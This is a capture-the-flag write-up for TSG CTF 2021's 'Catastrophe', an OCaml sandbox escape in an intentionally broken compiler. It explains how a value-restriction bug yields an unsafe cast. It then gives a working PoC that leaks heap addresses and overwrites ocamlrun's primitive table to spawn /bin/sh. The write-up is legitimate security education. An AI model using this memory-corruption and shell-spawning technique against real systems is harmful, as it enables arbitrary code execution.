# Catastrophe (TSG CTF 2021 Writeup)

This is a "buggy"-OCaml sandbox escape challenge.
The bug is caused in the function `is_nonexpansive` (c.f. https://github.com/ocaml/ocaml/blob/4.12/typing/typecore.ml#L2070-L2166). This is related to whether a type variable can be generalized. Can you bypass the "type-sandbox" and get shell?

### Overview of Pwning

We can create a "magic" function as follows (the reason is explained below):

# let magic x = let l = ref None in l := Some(x); let Some(x) = !l in x;;
# magic;;
- : 'a -> 'b = <fun>

This function totally breaks the type system. It's like a C's casting. That is, we can translate a string to an integer by using this function like this:

# let ans : int = magic "answer";;
val ans : int = 70148575414556

So we can do almost everything you want. However, opening a shell is a bit far from here. See the runner script `timeout --foreground -k 20s 15s ocamlc {filename} -o /tmp/prog && timeout --foreground -k 10s 5s /tmp/prog`. By removing some unnecesarry parts, we can say the runner is `ocamlc {filename} -o /tmp/prog && /tmp/prog`.

As I stated in the statement, `ocamlc` is not a native compiler, just compling a given source code to a VM binary.

root@cdc8c61a81b6:/tmp# ocamlc prog.ml
root@cdc8c61a81b6:/tmp# file a.out
a.out: a /usr/local/bin/ocamlrun script executable (binary data)
root@cdc8c61a81b6:/tmp# head -n 1 a.out
#!/usr/local/bin/ocamlrun

`ocamlrun` is a bytecode runtime of OCaml. So, finally you have to pwn this program. The source code can be found in https://github.com/ocaml/ocaml/blob/4.12/runtime/. Especially, https://github.com/ocaml/ocaml/blob/4.12/runtime/interp.c is interesting.
If you look at https://github.com/ocaml/ocaml/blob/4.12/runtime/interp.c#L929-L935,

    Instruct(C_CALL1):
      Setup_for_c_call;
      accu = Primitive(*pc)(accu);
      Restore_after_c_call;
      pc++;
      Next;

the primitive functions seem to be called using `Primitive(*pc)`.
Primitive is defined as follows:
https://github.com/ocaml/ocaml/blob/4.12/runtime/caml/prims.h#L33

#define Primitive(n) ((c_primitive)(caml_prim_table.contents[n]))

So if we can overwrite the above table, we can get PC. By the way, how does this table constructed?

https://github.com/ocaml/ocaml/blob/4.12/runtime/misc.c#L96-L115

void caml_ext_table_init(struct ext_table * tbl, int init_capa)
{
  tbl->size = 0;
  tbl->capacity = init_capa;
  tbl->contents = caml_stat_alloc(sizeof(void *) * init_capa);
}

int caml_ext_table_add(struct ext_table * tbl, caml_stat_block data)
{
  int res;
  if (tbl->size >= tbl->capacity) {
    tbl->capacity *= 2;
    tbl->contents =
      caml_stat_resize(tbl->contents, sizeof(void *) * tbl->capacity);
  }
  res = tbl->size;
  tbl->contents[res] = data;
  tbl->size++;
  return res;
}

https://github.com/ocaml/ocaml/blob/4.12/runtime/memory.c#L814-L846

CAMLexport caml_stat_block caml_stat_alloc_noexc(asize_t sz)
{
  /* Backward compatibility mode */
  if (pool == NULL)
    return malloc(sz);
  else {
    struct pool_block *pb = malloc(sz + SIZEOF_POOL_BLOCK);
    if (pb == NULL) return NULL;
#ifdef DEBUG
    memset(&(pb->data), Debug_uninit_stat, sz);
    pb->magic = Debug_pool_magic;
#endif

    /* Linking the block into the ring */
    pb->next = pool->next;
    pb->prev = pool;
    pool->next->prev = pb;
    pool->next = pb;

    return &(pb->data);
  }
}

/* [sz] is a number of bytes */
CAMLexport caml_stat_block caml_stat_alloc(asize_t sz)
{
  void *result = caml_stat_alloc_noexc(sz);
  /* malloc() may return NULL if size is 0 */
  if ((result == NULL) && (sz != 0))
    caml_raise_out_of_memory();
  return result;
}

So, you may get the table is allocated in the Heap. By using gdb, you can find the buffer like this:


You can leak the heap base by

let x = magic (fun x -> x) in
printf "%x" (!x * 2)

Please make sure that OCaml uses the LSB bit for special purpose, so you have to twice the value to leak it.

After we leaked the heap address and calculated the function table address, finally let's replace `abs_float` entry in the function table with `caml_sys_system_command`.

## The detail of why this fix causes the "magic" function

OCaml has a polymorphic typing. When you write a function `fun x -> x`, it can be applied to both integers and strings (and of course others).

# let f = fun x -> x;;
val f : 'a -> 'a = <fun>
# f 1;;
- : int = 1
# f "hoge";;
- : string = "hoge"

However, OCaml contains mutable states: e.g. `ref 0`.

# let x = ref 0;;
val x : int ref = {contents = 0}
# !x;;
- : int = 0
# x := 1;;
- : unit = ()
# !x;;
- : int = 1

When polymorphic types meet mutable states, a "catastrophic" thing happens. To prevent this, normal OCaml type system has "value restriction", which prevents "bad" type variables from being generalized.

See the following code:

# let x = ref None;;
val x : '_weak1 option ref = {contents = None}
# x := Some("str");;
- : unit = ()
# x;;
- : string option ref = {contents = Some "str"}
# x := Some(42);;
Error: This expression has type int but an expression was expected of type
         string

See the type `_weak1 option ref`. It's different from `'a option ref`. That means this type was not generalized, and can instantiate only once. Therefore, after we substitute `Some("str")` for `x`, substituting `Some(42)` for `x` will cause a type error.

HOWEVER, we broke this part! Let's see...

# let x = ref None;;
val x : 'a option ref = {contents = None}
#  x := Some("str");;
- : unit = ()
# x := Some(42);;
- : unit = ()
# x;;
- : 'a option ref = {contents = Some <poly>}

Boom! The type system has been broken. Welcome to unsafe world.

## PoC

let magic x = let l = ref None in l := Some(x); let Some(x) = !l in x;;

let set_int bs v =
        set bs 0 (char_of_int((v lsr 0) mod 256));
        set bs 1(char_of_int ((v lsr 8) mod 256));
        set bs 2(char_of_int ((v lsr 16) mod 256));
        set bs 3(char_of_int ((v lsr 24) mod 256));
        set bs 4(char_of_int ((v lsr 32) mod 256));
        set bs 5(char_of_int ((v lsr 40) mod 256));
        set bs 6(char_of_int ((v lsr 48) mod 256));
        ()

let toptr v =
        let bs = create 8 in
        set_int bs v; magic bs

let setptr bs v =
        let bs = magic bs in
        set_int bs v

let () =
        let x = magic (fun x -> x) in
        let heap_base = !x * 2 - 0x33a44 in

        let table = (0x366f0 + heap_base)  in
        printf "heap_base: 0x%x\ntable: 0x%x\nint_of_string_ptr: 0x%x\n" heap_base (table) (table+0x708);

        let int_of_string_ptr_ptr = toptr (table+0x708) in
        printf "int_of_string_ptr_ptr: 0x%x\n" (2 * magic int_of_string_ptr_ptr);
        let int_of_string_ptr = !int_of_string_ptr_ptr in
        let program_base = (!int_of_string_ptr * 2) - 0x6810 in

        printf "program_base: 0x%x\n" program_base;
        let system_addr = program_base + 0x10da0 in
        printf "int_of_string_ptr: 0x%x\n" (2 * int_of_string_ptr);
        flush stdout;
        let ftoi = !(toptr table) in
        setptr ftoi system_addr;
        let y = abs_float (magic "/bin/sh") in
        printf "%x %f\n" x y